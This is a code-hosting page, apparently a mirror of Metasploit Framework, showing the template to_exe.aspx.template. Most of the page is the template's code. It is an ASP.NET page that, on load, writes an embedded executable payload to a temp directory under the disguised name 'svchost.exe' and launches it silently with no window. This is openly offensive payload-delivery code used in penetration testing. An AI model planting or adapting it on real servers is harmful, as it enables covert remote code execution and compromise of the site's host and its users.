/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
data/templates/scripts/to_exe.aspx.template
30 строк
867 B
Meatballs
Slightly saner filenames
23 авг 2013, 21:06
23 авг 2013, 21:06
dfc606f
Код
Авторство
О чём код?
<%%@ Page Language="C#" AutoEventWireup="true" %%> <%%@ Import Namespace="System.IO" %%> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { %{shellcode} string %{var_tempdir} = Path.GetTempPath(); string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}"); string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe"); Directory.CreateDirectory(%{var_basedir}); FileStream fs = File.Create(%{var_tempexe}); try { fs.Write(%{var_file}, 0, %{var_file}.Length); } finally { if (fs != null) ((IDisposable)fs).Dispose(); } System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process(); %{var_proc}.StartInfo.CreateNoWindow = true; %{var_proc}.StartInfo.UseShellExecute = true; %{var_proc}.StartInfo.FileName = %{var_tempexe}; %{var_proc}.Start(); } </script>